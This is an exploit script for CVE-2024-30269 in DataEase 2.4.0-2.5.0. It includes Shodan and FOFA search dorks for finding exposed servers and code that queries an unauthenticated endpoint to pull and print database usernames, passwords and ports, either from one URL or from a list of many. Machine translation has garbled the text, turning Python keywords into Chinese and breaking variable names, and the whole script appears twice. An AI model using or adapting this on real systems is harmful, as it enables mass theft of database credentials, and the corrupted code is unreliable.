##########################
##############################
#-利用标题:数据份数据库信用提取器#
#-Shodan Dork: http.html:'dataease'#
#- fofa Dork: body='dataEase'title=='dataease'##
#-利用作者: bittehunter#
#-电子邮件:[email protected]##
# - 脆弱版本: 2.4.0-2.5.0#
# - 测试在: 2.4.0#
#-CVE : CVE-2024-30269#
##############################
##########################
导入argparse
导入请求
导入
进口JSON
从TQDM导入TQDM
def create_vulnerability_checker():
vulnerable_count=0
def check_vulnerability(url):
非本地漏洞_count
endpoint='/de2api/engine/getEngine ;js'
full_url=f'{url} {endpoint}'
标题={
'host': url.split('/')[2],
'Accept-ongoding':'Gzip,Deflate,br',
'Accept':'/',
'Accept-Language':'En-US; q=0.9,en; q=0.8',
'用户代理:'Mozilla/5.0(Windows NT 10.0; Win64; X64)AppleWebkit/537.36(Khtml,例如Gecko)Chrome/119.0.6045.159 Safari/537.36',537.36',537.36',537.36
'Connection':'关闭',
'cache-control':'max-age=0'
}
TRY:
响应=requests.get(full_url,headers=标题,超时=5)
if antsphy.status_code==200:
TRY:
json_data=reverse.json()
config=json_data.get('data',{})。get('configuration',none)
如果配置:
config_data=json.loads(config)
用户名=config_data.get('用户名')
密码=config_data.get('密码')
端口=config_data.get('port')
如果用户名和密码:
vulnerable_count +=1
打印(f'vulnerable: {full_url}')
打印(f'username: {username}')
打印(f'Password: {passwass}')
如果端口不是没有:
打印(f'port Number: {port}')
除(JSON.JSONDECODEERROR,KEYERROR):
打印({full_url}'的f'invalid json响应)
Requests.requestexception:除外
经过
返回vulnerable_count
返回check_vulnerability
def main():
parser=argparse.argumentparser(Description='CVE-2024-30269 DATAESE DATAESE DATABASE CREDS DECTRECTOR')
parser.add_argument(' - u',' - url',type=str,help='单目标')
parser.add_argument(' - l',' - list',type=str,help='url文件列表')
args=parser.parse_args()
check_vulnerability=create_vulnerability_checker()
如果args.url:
check_vulnerability(args.url)
elif args.list:
TRY:
用file:开放(args.list,'r')
urls=[url.strip()for file.readlines()中的URL(如果url.strip()]
total_urls=len(urls)
对于TQDM中的URL(urls,desc='processing URL',unit='url'):
check_vulnerability(url)
#tqdm.write(f'vulnerable Instances: {check_vulnerability(url)}/{total_urls}')
除了FilenotFoundError:
打印(未找到f'file: {args.list}')
其他:
打印(“提供带有-u或带有-l的文件的URL。”)
如果name=='__ -Main __':
主要的()
##############################
#-利用标题:数据份数据库信用提取器#
#-Shodan Dork: http.html:'dataease'#
#- fofa Dork: body='dataEase'title=='dataease'##
#-利用作者: bittehunter#
#-电子邮件:[email protected]##
# - 脆弱版本: 2.4.0-2.5.0#
# - 测试在: 2.4.0#
#-CVE : CVE-2024-30269#
##############################
##########################
导入argparse
导入请求
导入
进口JSON
从TQDM导入TQDM
def create_vulnerability_checker():
vulnerable_count=0
def check_vulnerability(url):
非本地漏洞_count
endpoint='/de2api/engine/getEngine ;js'
full_url=f'{url} {endpoint}'
标题={
'host': url.split('/')[2],
'Accept-ongoding':'Gzip,Deflate,br',
'Accept':'/',
'Accept-Language':'En-US; q=0.9,en; q=0.8',
'用户代理:'Mozilla/5.0(Windows NT 10.0; Win64; X64)AppleWebkit/537.36(Khtml,例如Gecko)Chrome/119.0.6045.159 Safari/537.36',537.36',537.36',537.36
'Connection':'关闭',
'cache-control':'max-age=0'
}
TRY:
响应=requests.get(full_url,headers=标题,超时=5)
if antsphy.status_code==200:
TRY:
json_data=reverse.json()
config=json_data.get('data',{})。get('configuration',none)
如果配置:
config_data=json.loads(config)
用户名=config_data.get('用户名')
密码=config_data.get('密码')
端口=config_data.get('port')
如果用户名和密码:
vulnerable_count +=1
打印(f'vulnerable: {full_url}')
打印(f'username: {username}')
打印(f'Password: {passwass}')
如果端口不是没有:
打印(f'port Number: {port}')
除(JSON.JSONDECODEERROR,KEYERROR):
打印({full_url}'的f'invalid json响应)
Requests.requestexception:除外
经过
返回vulnerable_count
返回check_vulnerability
def main():
parser=argparse.argumentparser(Description='CVE-2024-30269 DATAESE DATAESE DATABASE CREDS DECTRECTOR')
parser.add_argument(' - u',' - url',type=str,help='单目标')
parser.add_argument(' - l',' - list',type=str,help='url文件列表')
args=parser.parse_args()
check_vulnerability=create_vulnerability_checker()
如果args.url:
check_vulnerability(args.url)
elif args.list:
TRY:
用file:开放(args.list,'r')
urls=[url.strip()for file.readlines()中的URL(如果url.strip()]
total_urls=len(urls)
对于TQDM中的URL(urls,desc='processing URL',unit='url'):
check_vulnerability(url)
#tqdm.write(f'vulnerable Instances: {check_vulnerability(url)}/{total_urls}')
除了FilenotFoundError:
打印(未找到f'file: {args.list}')
其他:
打印(“提供带有-u或带有-l的文件的URL。”)
如果name=='__ -Main __':
主要的()